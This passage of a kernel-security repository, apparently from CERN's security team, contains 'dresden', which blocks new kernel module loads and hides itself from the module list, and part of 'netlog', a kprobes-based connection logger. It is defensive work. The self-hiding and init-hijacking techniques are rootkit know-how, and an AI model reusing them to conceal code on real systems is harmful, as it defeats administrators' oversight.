├── .gitattributes ├── .gitignore ├── dresden ├── .gitignore ├── LICENSE ├── readme.markdown └── src │ ├── Makefile │ ├── dresden_core.c │ ├── module_notifier_event.c │ ├── module_notifier_event.h │ ├── proc_entry.c │ └── proc_entry.h ├── netlog ├── .gitignore ├── LICENSE ├── readme.markdown └── src │ ├── Makefile │ ├── connection.c │ ├── connection.h │ ├── inet_utils.c │ ├── inet_utils.h │ ├── netlog.h │ ├── probes.c │ ├── proc_config.c │ ├── proc_config.h │ ├── whitelist.c │ └── whitelist.h ├── readme.markdown └── the-drip-dry-carbonite ├── .gitignore ├── LICENSE ├── docs ├── README ├── jones2.pdf └── presentation.pdf ├── readme.markdown ├── src ├── Makefile ├── attacks │ └── sys-call-table-hijacker │ │ ├── Makefile │ │ ├── README.md │ │ ├── my-kallsyms.c │ │ ├── my-kallsyms.h │ │ └── sys-call-table-hijacker.c ├── carbonite.c ├── carbonite.h ├── command-chrdev.c ├── command-chrdev.h ├── logger.c ├── logger.h ├── my-kallsyms.c ├── my-kallsyms.h ├── proc-entry.c ├── proc-entry.h ├── super-fast-hash.c ├── super-fast-hash.h ├── sys-call-table-integrity-check.c ├── sys-call-table-integrity-check.h ├── task-dump-list.c ├── task-dump-list.h ├── task-dump-seq-file.c ├── task-dump-seq-file.h ├── task-dump.c ├── task-dump.h ├── task-utils.c └── task-utils.h └── utils ├── Makefile ├── install ├── trigger-carbonite.c └── uninstall /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Object files 2 | *.o 3 | *.ko 4 | *.obj 5 | *.elf 6 | 7 | # Precompiled Headers 8 | *.gch 9 | *.pch 10 | 11 | # Libraries 12 | *.lib 13 | *.a 14 | *.la 15 | *.lo 16 | 17 | # Shared objects (inc. Windows DLLs) 18 | *.dll 19 | *.so 20 | *.so.* 21 | *.dylib 22 | 23 | # Executables 24 | *.exe 25 | *.out 26 | *.app 27 | *.i*86 28 | *.x86_64 29 | *.hex 30 | 31 | # ========================= 32 | # Operating System Files 33 | # ========================= 34 | 35 | # OSX 36 | # ========================= 37 | 38 | .DS_Store 39 | .AppleDouble 40 | .LSOverride 41 | 42 | # Thumbnails 43 | ._* 44 | 45 | # Files that might appear on external disk 46 | .Spotlight-V100 47 | .Trashes 48 | 49 | # Directories potentially created on remote AFP share 50 | .AppleDB 51 | .AppleDesktop 52 | Network Trash Folder 53 | Temporary Items 54 | .apdisk 55 | 56 | # Windows 57 | # ========================= 58 | 59 | # Windows image file caches 60 | Thumbs.db 61 | ehthumbs.db 62 | 63 | # Folder config file 64 | Desktop.ini 65 | 66 | # Recycle Bin used on file shares 67 | $RECYCLE.BIN/ 68 | 69 | # Windows Installer files 70 | *.cab 71 | *.msi 72 | *.msm 73 | *.msp 74 | 75 | # Windows shortcuts 76 | *.lnk 77 | -------------------------------------------------------------------------------- /dresden/.gitignore: -------------------------------------------------------------------------------- 1 | # Files to ignore 2 | 3 | # Vi swap files 4 | .*.swp 5 | 6 | *.tgz 7 | *.tar.gz 8 | *.rpm 9 | 10 | .* 11 | !.gitignore 12 | *.o 13 | *.o.* 14 | *.ko 15 | *.ko.* 16 | *.mod.c 17 | *.order 18 | Module.symvers 19 | Module.markers 20 | rpms 21 | 22 | -------------------------------------------------------------------------------- /dresden/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (C) 2011 CERN 2 | 3 | This program is free software: you can redistribute it and/or modify 4 | it under the terms of the GNU General Public License as published by 5 | the Free Software Foundation, either version 3 of the License, or 6 | (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, 9 | but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | GNU General Public License for more details. 12 | 13 | You should have received a copy of the GNU General Public License 14 | along with this program. If not, see . 15 | -------------------------------------------------------------------------------- /dresden/readme.markdown: -------------------------------------------------------------------------------- 1 | # Dresden 2 | 3 | Dresden is a kernel module that will log emergency messages for every attempt of inserting or removing a kernel module. 4 | Also, it will block the insertion of every kernel module, by replacing the init functio of the (wannabe) incoming module 5 | with a function crafted for failure. After deploying dresden, you will not be able to remove it. It will delete itself from 6 | the list of the loaded kernel modules. 7 | 8 | # Kernels tested against 9 | 10 | 2.6.18 up to 3.4.9 11 | 12 | # How to use 13 | 14 | In the src directory run: 15 | 16 | make 17 | 18 | Then run: 19 | 20 | insmod ./dresden.ko 21 | 22 | # Format of log messages 23 | 24 | ```` 25 | Jul 9 13:36:05 kmod-testing kernel: dresden: Kernel module insertion blocker and action notifier by CERN Security Team 26 | Jul 9 13:36:05 kmod-testing kernel: dresden: [+] Future loading of kernel modules will be prevented 27 | Jul 9 13:36:05 kmod-testing kernel: dresden: [+] Emergency messages will be logged in case of trying to load or unload a module 28 | Jul 9 13:36:05 kmod-testing kernel: dresden: [+] You are not able to remove this module 29 | 30 | Trying to insert a module: 31 | 32 | [root@kmod-testing netlog]# insmod ./netlog.ko 33 | 34 | Message from syslogd@kmod-testing at Jul 9 13:36:52 ... 35 | kernel:dresden: event: MODULE_STATE_COMING name: netlog init: 0xffffffffa0038000 size of init (text + data) 0x137e core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8 36 | 37 | Message from syslogd@kmod-testing at Jul 9 13:36:52 ... 38 | kernel:dresden: New module is th name netlog. Its functionality will be disabled 39 | 40 | Message from syslogd@kmod-testing at Jul 9 13:36:52 ... 41 | kernel:dresden: event: MODULE_STATE_GOING name: netlog core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8 42 | insmod: error inserting './netlog.ko': -1 Operation not permitted 43 | [root@kmod-testing netlog]# 44 | 45 | Jul 9 13:36:52 kmod-testing kernel: dresden: event: MODULE_STATE_COMING name: netlog init: 0xffffffffa0038000 size of init (text + data) 0x137e core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8 46 | Jul 9 13:36:52 kmod-testing kernel: dresden: New module is th name netlog. Its functionality will be disabled 47 | Jul 9 13:36:52 kmod-testing kernel: Module insertion blocked by CERN's dresden 48 | Jul 9 13:36:52 kmod-testing kernel: dresden: event: MODULE_STATE_GOING name: netlog core: 0xffffffffa07c7000 size of core (text + data) 0x20037a8 49 | ```` 50 | 51 | *You cannot remove dresden after insertion.* 52 | 53 | # License 54 | 55 | Copyright 2012 CERN. This software is distributed under the terms of the GNU General Public 56 | Licence version 3 (GPL Version 3), copied verbatim in the file COPYING. In applying this licence, 57 | CERN does not waive the privileges and immunities granted to it by virtue of its status as an 58 | Intergovernmental Organization or submit itself to any jurisdiction. 59 | -------------------------------------------------------------------------------- /dresden/src/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Variables needed to build the kernel module 3 | # 4 | name = dresden 5 | src_files = dresden_core.c module_notifier_event.c proc_entry.c 6 | 7 | obj-m += $(name).o 8 | $(name)-objs := $(src_files:.c=.o) 9 | 10 | all: build 11 | 12 | .PHONY: build install clean 13 | 14 | clean: clean 15 | 16 | build: 17 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules CONFIG_DEBUG_SECTION_MISMATCH=y 18 | 19 | install: 20 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules_install CONFIG_DEBUG_SECTION_MISMATCH=y 21 | 22 | clean: 23 | [ -d /lib/modules/$(shell uname -r)/build ] && \ 24 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 25 | 26 | -------------------------------------------------------------------------------- /dresden/src/dresden_core.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "module_notifier_event.h" 4 | #include "proc_entry.h" 5 | 6 | #define MODULE_NAME "dresden" 7 | #define DRESDEN_OK 0 8 | 9 | int show_proc_entry = 0; 10 | module_param(show_proc_entry, int, 0000); 11 | MODULE_PARM_DESC(show_proc_entry, "Set to non zero value if you want to create the /proc/dresden entry in order to know if dresden is loaded. Default is to 0"); 12 | 13 | static int __init dresden_engage(void) 14 | { 15 | register_module_notifier_event_handler(); 16 | 17 | /* Hide ourselves */ 18 | 19 | list_del(&THIS_MODULE->list); 20 | 21 | printk(KERN_INFO MODULE_NAME ": Kernel module insertion blocker and action notifier by CERN Security Team\n"); 22 | printk(KERN_INFO MODULE_NAME ":\t[+] Future loading of kernel modules will be prevented\n"); 23 | printk(KERN_INFO MODULE_NAME ":\t[+] Emergency messages will be logged in case of trying to load or unload a module\n"); 24 | printk(KERN_INFO MODULE_NAME ":\t[+] You are not able to remove this module\n"); 25 | 26 | if(show_proc_entry) 27 | { 28 | int err; 29 | 30 | err = init_proc_entry(); 31 | 32 | if(err == PROC_CREATED) 33 | { 34 | printk(KERN_INFO MODULE_NAME ":\t[+] Created /proc/dresden entry\n"); 35 | } 36 | else 37 | { 38 | printk(KERN_ERR MODULE_NAME ":\t[-] Failed to create /proc/dresden entry\n"); 39 | } 40 | } 41 | 42 | return DRESDEN_OK; 43 | } 44 | 45 | module_init(dresden_engage); 46 | 47 | MODULE_AUTHOR("Panos Sakkos "); 48 | MODULE_DESCRIPTION("Block incoming modules and log emergency alerts in case of trying to insert\n" 49 | "\t\t a new module or removing an existing one"); 50 | MODULE_LICENSE("GPL"); 51 | -------------------------------------------------------------------------------- /dresden/src/module_notifier_event.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "module_notifier_event.h" 5 | 6 | int fail(void) 7 | { 8 | printk(KERN_INFO "Module insertion blocked by CERN's dresden\n"); 9 | 10 | return -1; 11 | } 12 | 13 | static int dresden_module_handler(struct notifier_block *this, unsigned long event, void *pointer) 14 | { 15 | unsigned long flags; 16 | struct module *new_module; 17 | DEFINE_SPINLOCK(module_event_spinlock); 18 | 19 | spin_lock_irqsave(&module_event_spinlock, flags); 20 | 21 | new_module = pointer; 22 | 23 | switch(new_module->state) 24 | { 25 | case(MODULE_STATE_COMING): 26 | printk(KERN_EMERG MODULE_NAME ": event: MODULE_STATE_COMING name: %s init: 0x%p size of init (text + data)\ 27 | 0x%x core: 0x%p size of core (text + data) 0x%x\n", 28 | new_module->name, new_module->init, new_module->init_size, 29 | new_module->module_core, new_module->core_size); 30 | new_module->init = fail; 31 | 32 | printk(KERN_EMERG MODULE_NAME ": New module is th name %s. Its functionality will be disabled\n", new_module->name); 33 | break; 34 | case(MODULE_STATE_LIVE): 35 | if(new_module == THIS_MODULE) 36 | { 37 | /* Skip reporting of ourselves */ 38 | 39 | break; 40 | } 41 | 42 | printk(KERN_EMERG MODULE_NAME ": event: MODULE_STATE_LIVE name: %s core: 0x%p size of core (text + data) 0x%x\n", 43 | new_module->name, new_module->module_core, new_module->core_size); 44 | break; 45 | case(MODULE_STATE_GOING): 46 | printk(KERN_EMERG MODULE_NAME ": event: MODULE_STATE_GOING name: %s core: 0x%p size of core (text + data) 0x%x\n", 47 | new_module->name, new_module->module_core, new_module->core_size); 48 | break; 49 | default: 50 | printk(KERN_ERR MODULE_NAME ": ERROR unknown module state in notifier chain for %s module\n", new_module->name); 51 | break; 52 | } 53 | 54 | spin_unlock_irqrestore(&module_event_spinlock, flags); 55 | return NOTIFY_DONE; 56 | } 57 | 58 | static struct notifier_block module_notifier_block = 59 | { 60 | .notifier_call = dresden_module_handler, 61 | .priority = INT_MAX 62 | }; 63 | 64 | void register_module_notifier_event_handler(void) 65 | { 66 | register_module_notifier(&module_notifier_block); 67 | } 68 | 69 | -------------------------------------------------------------------------------- /dresden/src/module_notifier_event.h: -------------------------------------------------------------------------------- 1 | #ifndef __MODULE_NOTIFIER_EVENT__ 2 | #define __MODULE_NOTIFIER_EVENT__ 3 | 4 | #define MODULE_NAME "dresden" 5 | 6 | void register_module_notifier_event_handler(void); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /dresden/src/proc_entry.c: -------------------------------------------------------------------------------- 1 | #include "proc_entry.h" 2 | #include 3 | 4 | struct proc_dir_entry *dresden_proc_entry; 5 | 6 | int procfile_read(char *buffer, char **buffer_location, off_t offset, int buffer_length, int *eof, void *data) 7 | { 8 | if(offset > 0) 9 | { 10 | /* Nothing else to do */ 11 | 12 | return 0; 13 | } 14 | else 15 | { 16 | /* Just return '1' to say that dresden is deployed */ 17 | 18 | return sprintf(buffer, "1\n"); 19 | } 20 | } 21 | 22 | 23 | int init_proc_entry(void) 24 | { 25 | if(dresden_proc_entry != NULL) 26 | { 27 | return PROC_ENTRY_EXISTS; 28 | } 29 | 30 | dresden_proc_entry = create_proc_entry(PROC_FS_NAME, 0444, NULL); 31 | 32 | if(dresden_proc_entry == NULL) 33 | { 34 | return -ECREATE_PROC_ENTRY; 35 | } 36 | 37 | dresden_proc_entry->read_proc = procfile_read; 38 | dresden_proc_entry->mode = S_IFREG | S_IRUGO; 39 | dresden_proc_entry->uid = 0; 40 | dresden_proc_entry->gid = 0; 41 | dresden_proc_entry->size = 1; 42 | 43 | return PROC_CREATED; 44 | } 45 | 46 | -------------------------------------------------------------------------------- /dresden/src/proc_entry.h: -------------------------------------------------------------------------------- 1 | #ifndef __PROC_ENRTY__ 2 | #define __PROC_ENRTY__ 3 | 4 | #define PROC_FS_NAME "dresden" 5 | 6 | #define PROC_CREATED 1 7 | #define PROC_ENTRY_EXISTS 2 8 | #define ECREATE_PROC_ENTRY 3 9 | 10 | int init_proc_entry(void); 11 | 12 | #endif 13 | -------------------------------------------------------------------------------- /netlog/.gitignore: -------------------------------------------------------------------------------- 1 | # Files to ignore 2 | 3 | # Vi swap files 4 | .*.swp 5 | 6 | *.tgz 7 | *.tar.gz 8 | *.rpm 9 | 10 | .* 11 | !.gitignore 12 | *.o 13 | *.o.* 14 | *.ko 15 | *.ko.* 16 | *.mod.c 17 | *.order 18 | Module.symvers 19 | Module.markers 20 | rpms 21 | -------------------------------------------------------------------------------- /netlog/LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (C) 2011 CERN 2 | 3 | This program is free software: you can redistribute it and/or modify 4 | it under the terms of the GNU General Public License as published by 5 | the Free Software Foundation, either version 3 of the License, or 6 | (at your option) any later version. 7 | 8 | This program is distributed in the hope that it will be useful, 9 | but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | GNU General Public License for more details. 12 | 13 | You should have received a copy of the GNU General Public License 14 | along with this program. If not, see . 15 | -------------------------------------------------------------------------------- /netlog/readme.markdown: -------------------------------------------------------------------------------- 1 | # Netlog 2 | 3 | Netlog is a Loadable Kernel Module that logs information for every connection on the hosted machine. 4 | By utilizing the kprobes API, it probes the connect and accept system calls ,for TCP connections, 5 | as well as the bind system call, for UDP connections, and the socket destruction. 6 | While probing, it logs the process name and process id, the user id that owns this process, the protocol 7 | (TCP/UDP), the local IP address and port as well as the remote IP address and port. 8 | 9 | For UDP, it tracks only the bind system call, because UDP is a connectionless protocol, 10 | so the other approach was to track the packet communication, something that would 11 | add a lot of overhead. In order to compile the code that tracks UDP, you 12 | have to change the symbolic constant (PROBE_UDP) that it's defined in the netlog header (netlog.h) from 13 | zero (0) to a non-zero value (i.e. 1) and recompile netlog. 14 | 15 | netlog also tracks the destruction of the sockets. This is done by probing the 16 | inet_shutdown kernel call, which is called after the close system call is called. 17 | In order to compile the code that tracks the connection close, you need to change the value of the 18 | symbolic constant (PROBE_CONNECTION_CLOSE) that is defined in the netlog header file (netlog.h) from 19 | zero (0) to a non-zero value (i.e. 1) and recompile netlog. 20 | 21 | # Kernels tested against 22 | 23 | 2.6.18 up to 3.4.9 24 | 25 | # Change Log 26 | 27 | 1.30 28 | *On the fly configuration of the whitelist 29 | 30 | 1.12 31 | *Optimizations 32 | *Dynamic Whitelisting 33 | 1.15 34 | *Whitelisting of ip addresses and ports 35 | *Absolute path mode 36 | 1.16 37 | *Basic checks on given ip addresses and ports 38 | 39 | # Dynamic Whitelisting 40 | 41 | netlog offers whitelisting of connections at insertion time. This is done by passing parameters to the module. 42 | The parameter is named connections_to_whitelist and it's an array of strings with the following format: 43 | 44 | "/absolute/execution/path|i|p" 45 | 46 | i.e.: 47 | "/usr/sbin/sshd|i<127.128.0.0>|p<22>" 48 | "/usr/sbin/sshd|i<127.128.0.0>" 49 | "/usr/sbin/sshd|p<22>" 50 | "/usr/sbin/sshd" 51 | 52 | The '<' and '>' can be ignored, they are supported just for visual reasons. 53 | 54 | Example of whitelisting multiple connections: 55 | 56 | insmod netlog.ko connections_to_whitelist="/usr/bin/skype","/usr/bin/ssh|i<127.0.0.1>","/usr/bin/sshd|i<127.0.0.1>|p<22>" 57 | 58 | Note that you are not able to whitelist an ip address or port without specifing an absolute 59 | execution path of a binary. Also, you can whitelist up to 150 connections. For more, change 60 | the symbolic constant MAX_WHITELIST_SIZE in whitelist.h and recompile netlog. 61 | Do not leave spaces between the comma separators and the strings because the parameter array will not be initialized. 62 | 63 | If you believe that you will not need whitelisting at all, we recommend you to compile netlog with disabled the whitelisting 64 | in order to boost even more its perfomance. In order to not compile the code of whitelisting, change the static constant 65 | WHITELISTING to 0 in netlog.h file and recompile netlog. 66 | 67 | # On the fly configuration of the whitelist 68 | 69 | The process of whitelisting (described in "Dynamic Whitelisting" section) can be done also while netlog is planted. 70 | If you want to change the whitelist when netlog is planted, there is no need to remove the module and insert 71 | it again with the updated whitelist information passed as insertion parameters. This can be done by editing the 72 | /proc/config-netlog proc file. This file contains per line the currently whitelisted connections. 73 | 74 | i.e. if you want to whitelist the next connections, after insertion of netlog: 75 | 76 | "/usr/bin/skype", "/usr/bin/ssh|i<127.0.0.1>" and "/usr/sbin/sshd|i<127.0.0.1>|p<22>" 77 | 78 | You should execute in a bash shell: 79 | 80 | echo "/usr/bin/skype,/usr/bin/ssh|i<127.0.0.1>,/usr/sbin/sshd|i<127.0.0.1>|p<22>" > /proc/netlog_config 81 | 82 | * **************************************WARNING**************************************** * 83 | * * 84 | * Do not edit the proc_config entry with a text editor or try to replace it etc. * 85 | * Just echo the connection strings that describes the connections you want to whitelist,* 86 | * separated by the comma character and NOTHING MORE (not even a space). * 87 | * Also do not try to append the proc file. * 88 | * * 89 | * For the format of the connection string read the "Dynamic Whitelisting" section above.* 90 | * ************************************************************************************* * 91 | 92 | netlog will log the changes of the whitelist: 93 | 94 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262471] netlog-config: [+] Cleared whitelist 95 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262479] netlog-config: [+] Whitelisted /usr/sbin/skype 96 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262483] netlog-config: [+] Whitelisted /usr/bin/ssh|i<127.0.0.1> 97 | Sep 19 09:57:26 panos-PC kernel: [ 1841.262486] netlog-config: [+] Whitelisted /usr/sbin/sshd|i<127.0.0.1> 98 | 99 | # Absolute Path Mode 100 | 101 | The absolute path mode is activated by passing a non zero value to the absolute_path_mode parameter. 102 | 103 | i.e.: 104 | insmod netlog.ko absolute_path_mode=1 105 | 106 | Absolute path mode will log the absolute execution path instead of the process name. 107 | This will be helpfull in case that you want to see the absolute execution path of a connection that 108 | you want to whitelist. 109 | 110 | # Format of log messages 111 | 112 | TCP connect: 113 | Dec 19 14:03:17 panos-PC kernel: netlog: http[3206] TCP 137.138.191.167:52507 -> 130.59.10.36:80 (uid=0) 114 | 115 | TCP accept: 116 | Dec 19 14:18:37 panos-PC kernel: netlog: sshd[827] TCP 137.138.191.167:22 <- 137.138.32.18:49904 (uid=0) 117 | 118 | UDP binds: 119 | Dec 19 14:22:50 panos-PC kernel: netlog: skype[4261] UDP bind 127.0.0.1:0 (uid=1000) 120 | Dec 19 14:22:50 panos-PC kernel: netlog: skype[4261] UDP bind (any IP address):2752 (uid=1000) 121 | 122 | Connection close: 123 | Dec 19 14:19:07 panos-PC kernel: netlog: sshd[3755] TCP 137.138.191.167:22 <-> 137.138.32.18:49904 (uid=0) 124 | 125 | # How to use 126 | 127 | In the src directory run: 128 | 129 | make 130 | 131 | Then run: 132 | 133 | insmod netlog.ko 134 | 135 | in order to insert the module in the kernel. 136 | And in order to remove it, run: 137 | 138 | rmmod netlog 139 | 140 | # License 141 | 142 | Copyright 2011 CERN. This software is distributed under the terms of the GNU General Public 143 | Licence version 3 (GPL Version 3), copied verbatim in the file COPYING. In applying this licence, 144 | CERN does not waive the privileges and immunities granted to it by virtue of its status as an 145 | Intergovernmental Organization or submit itself to any jurisdiction. 146 | 147 | # References 148 | 149 | [Kernel instrumentation using kprobes](http://www.phrack.org/issues.html?issue=67&id=6) 150 | -------------------------------------------------------------------------------- /netlog/src/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # Variables needed to build the kernel module 3 | # 4 | name = netlog 5 | src_files = inet_utils.c probes.c whitelist.c connection.c proc_config.c 6 | 7 | obj-m += $(name).o 8 | $(name)-objs := $(src_files:.c=.o) 9 | 10 | all: build 11 | 12 | .PHONY: build install clean 13 | 14 | build: clean 15 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules CONFIG_DEBUG_SECTION_MISMATCH=y 16 | 17 | install: build 18 | -mkdir -p /lib/modules/`uname -r`/kernel/arch/x86/kernel/ 19 | cp $(name).ko /lib/modules/`uname -r`/kernel/arch/x86/kernel/ 20 | depmod /lib/modules/`uname -r`/kernel/arch/x86/kernel/$(name).ko 21 | 22 | clean: 23 | [ -d /lib/modules/$(shell uname -r)/build ] && \ 24 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 25 | 26 | -------------------------------------------------------------------------------- /netlog/src/connection.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include "connection.h" 4 | #include "whitelist.h" 5 | #include "inet_utils.h" 6 | 7 | #ifndef INET6_ADDRSTRLEN 8 | #define INET6_ADDRSTRLEN 48 9 | #endif 10 | 11 | struct connection 12 | { 13 | int port; 14 | char ip[INET6_ADDRSTRLEN + 2]; 15 | char executable[MAX_ABSOLUTE_EXEC_PATH + 1]; 16 | }; 17 | 18 | struct connection *initialize_connection(void) 19 | { 20 | struct connection *new_connection = NULL; 21 | 22 | new_connection = kmalloc(sizeof(struct connection), GFP_ATOMIC); 23 | 24 | if(new_connection == NULL) 25 | { 26 | return NULL; 27 | } 28 | 29 | memset(new_connection->executable, '\0', sizeof(new_connection->executable)); 30 | memset(new_connection->ip, '\0', sizeof(new_connection->ip)); 31 | new_connection->port = NO_PORT; 32 | 33 | return new_connection; 34 | } 35 | 36 | /*Initialize a struct connection from a given string. 37 | *The string must have the format "/absolute/path|i|p" 38 | * 39 | *i.e. "/usr/bin/sshd|i<127.128.0.0>|p<22>" 40 | * "/usr/bin/sshd|i<127.128.0.0>" 41 | * "/usr/bin/sshd|p<22>" 42 | * "/usr/bin/sshd" 43 | * 44 | *The '<' and '>' can be ignored, they are supported just for visual reasons. 45 | * 46 | *The implementation contains a little bit of magic. Sorry! Panos 47 | */ 48 | 49 | struct connection *initialize_connection_from_string(const char *connection_string) 50 | { 51 | int i; 52 | const char *ch; 53 | struct connection *new_connection = NULL; 54 | 55 | if(connection_string == NULL) 56 | { 57 | goto out_fail; 58 | } 59 | 60 | new_connection = initialize_connection(); 61 | 62 | if(new_connection == NULL) 63 | { 64 | goto out_fail; 65 | } 66 | 67 | /*First field has to be a path*/ 68 | 69 | i = 0; 70 | ch = connection_string; 71 | 72 | while(*ch != FIELD_SEPARATOR && *ch != '\0') 73 | { 74 | new_connection->executable[i] = *ch; 75 | ch++; 76 | i++; 77 | 78 | /*Too big path, fail to whitelist*/ 79 | 80 | if(i >= MAX_ABSOLUTE_EXEC_PATH) 81 | { 82 | goto out_fail; 83 | } 84 | } 85 | 86 | new_connection->executable[i] = '\0'; 87 | 88 | /*Skip the field separator, if any*/ 89 | 90 | if(*ch == FIELD_SEPARATOR) 91 | { 92 | ch++; 93 | } 94 | 95 | /*Case of next field being an ip address*/ 96 | 97 | if(*ch == 'i') 98 | { 99 | /*If the ip is IPv6, we will add square brackets in the beginning and in 100 | *the end. This is done in order to make right comparison between ipv6 101 | *addresses. The inet_utils functions return ipv6 addresses within square 102 | *brackets. 103 | */ 104 | 105 | int ipv6 = looks_like_ipv6(ch); 106 | 107 | ch++; 108 | 109 | /*Skip '<', if any*/ 110 | 111 | if(*ch == '<') 112 | { 113 | ch++; 114 | } 115 | 116 | i = 0; 117 | 118 | if(ipv6) 119 | { 120 | /*Add opening square bracket*/ 121 | 122 | new_connection->ip[0] = '['; 123 | i++; 124 | } 125 | 126 | while(*ch != '>' && *ch != '\0' && *ch != FIELD_SEPARATOR) 127 | { 128 | new_connection->ip[i] = *ch; 129 | ch++; 130 | i++; 131 | 132 | /*Too big ip, fail to whitelist*/ 133 | 134 | if(i >= INET6_ADDRSTRLEN + 1) 135 | { 136 | goto out_fail; 137 | } 138 | } 139 | 140 | if(ipv6) 141 | { 142 | /*Add closing square bracket*/ 143 | 144 | new_connection->ip[i] = ']'; 145 | i++; 146 | } 147 | 148 | new_connection->ip[i] = '\0'; 149 | ch++; 150 | 151 | if(!looks_like_valid_ip(new_connection->ip)) 152 | { 153 | goto out_fail; 154 | } 155 | 156 | } 157 | 158 | /*Skip the field separator, if any*/ 159 | 160 | if(*ch == FIELD_SEPARATOR) 161 | { 162 | ch++; 163 | } 164 | 165 | /*Case of next field being a port number*/ 166 | 167 | if(*ch == 'p') 168 | { 169 | int base = 1; 170 | const char *number_start; 171 | 172 | ch++; 173 | 174 | /*Skip '<', if any*/ 175 | 176 | if(*ch == '<') 177 | { 178 | ch++; 179 | } 180 | 181 | number_start = ch; 182 | 183 | /*Go to end of number*/ 184 | 185 | while(*ch != '>' && *ch != '\0' && *ch != FIELD_SEPARATOR) 186 | { 187 | ch++; 188 | } 189 | ch--; 190 | 191 | new_connection->port = 0; 192 | 193 | while(ch >= number_start) 194 | { 195 | new_connection->port += (*ch - '0') * base; 196 | base *= 10; 197 | ch--; 198 | } 199 | 200 | if(!valid_port_number(new_connection->port)) 201 | { 202 | goto out_fail; 203 | } 204 | } 205 | 206 | return new_connection; 207 | 208 | out_fail: 209 | destroy_connection(new_connection); 210 | 211 | return NULL; 212 | } 213 | 214 | int connection_matches_attributes(const struct connection *connection, const char *path, const char *ip, const int port) 215 | { 216 | if(unlikely(connection == NULL || path == NULL || ip == NULL)) 217 | { 218 | return 0; 219 | } 220 | 221 | if(strncmp(connection->executable, path, MAX_ABSOLUTE_EXEC_PATH) != 0) 222 | { 223 | /*Executable path missmatch*/ 224 | 225 | return 0; 226 | } 227 | 228 | if(connection->ip[0] != '\0' && ip[0] != '\0') 229 | { 230 | if(strncmp(connection->ip, ip, INET6_ADDRSTRLEN + 2) != 0) 231 | { 232 | /*IPs were given and didn't match*/ 233 | 234 | return 0; 235 | } 236 | } 237 | 238 | if(connection->port != NO_PORT && port != NO_PORT) 239 | { 240 | if(connection->port != port) 241 | { 242 | /*Ports given and missmatched*/ 243 | 244 | return 0; 245 | } 246 | } 247 | 248 | return 1; 249 | } 250 | 251 | int connections_are_equal(const struct connection *connection1, const struct connection *connection2) 252 | { 253 | if(connection1 == NULL || connection2 == NULL) 254 | { 255 | return 0; 256 | } 257 | 258 | return connection_matches_attributes(connection1, connection2->executable, connection2->ip, connection2->port); 259 | } 260 | 261 | void destroy_connection(struct connection *connection) 262 | { 263 | if(connection) 264 | { 265 | kfree(connection); 266 | } 267 | } 268 | -------------------------------------------------------------------------------- /netlog/src/connection.h: -------------------------------------------------------------------------------- 1 | #ifndef __CONNECTION__ 2 | #define __CONNECTION__ 3 | 4 | #define MAX_LENGTH_OF_CONNECTION_STRING (5 + INET6_ADDRSTRLEN + 2 + MAX_ABSOLUTE_EXEC_PATH + 1 + 2 + 1) 5 | 6 | #define NO_PORT -1 7 | 8 | #define FIELD_SEPARATOR '|' 9 | 10 | struct connection; 11 | 12 | struct connection *initialize_connection_from_string(const char *connection_string); 13 | 14 | int connections_are_equal(const struct connection *connection1, const struct connection *connection2); 15 | 16 | int connection_matches_attributes(const struct connection *connection, const char *path, const char *ip, const int port); 17 | 18 | void destroy_connection(struct connection *connection); 19 | 20 | #endif 21 | -------------------------------------------------------------------------------- /netlog/src/inet_utils.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include "inet_utils.h" 6 | 7 | /* Needed in order to convert binary network address to readable. 8 | * these macros were existing in previous kernel versions but were removed. 9 | * NIPQUAD is for IPv4 and NIP6 for IPv6 addresses. 10 | */ 11 | 12 | #ifndef NIPQUAD 13 | #define NIPQUAD(addr) \ 14 | ((unsigned char *)&addr)[0], \ 15 | ((unsigned char *)&addr)[1], \ 16 | ((unsigned char *)&addr)[2], \ 17 | ((unsigned char *)&addr)[3] 18 | #endif 19 | 20 | #ifndef NIP6 21 | #define NIP6(addr) \ 22 | ntohs((addr).s6_addr16[0]), \ 23 | ntohs((addr).s6_addr16[1]), \ 24 | ntohs((addr).s6_addr16[2]), \ 25 | ntohs((addr).s6_addr16[3]), \ 26 | ntohs((addr).s6_addr16[4]), \ 27 | ntohs((addr).s6_addr16[5]), \ 28 | ntohs((addr).s6_addr16[6]), \ 29 | ntohs((addr).s6_addr16[7]) 30 | #endif 31 | 32 | #ifndef INET6_ADDRSTRLEN 33 | #define INET6_ADDRSTRLEN 48 34 | #endif 35 | 36 | #ifndef INET_ADDRSTRLEN 37 | #define INET_ADDRSTRLEN 16 38 | #endif 39 | 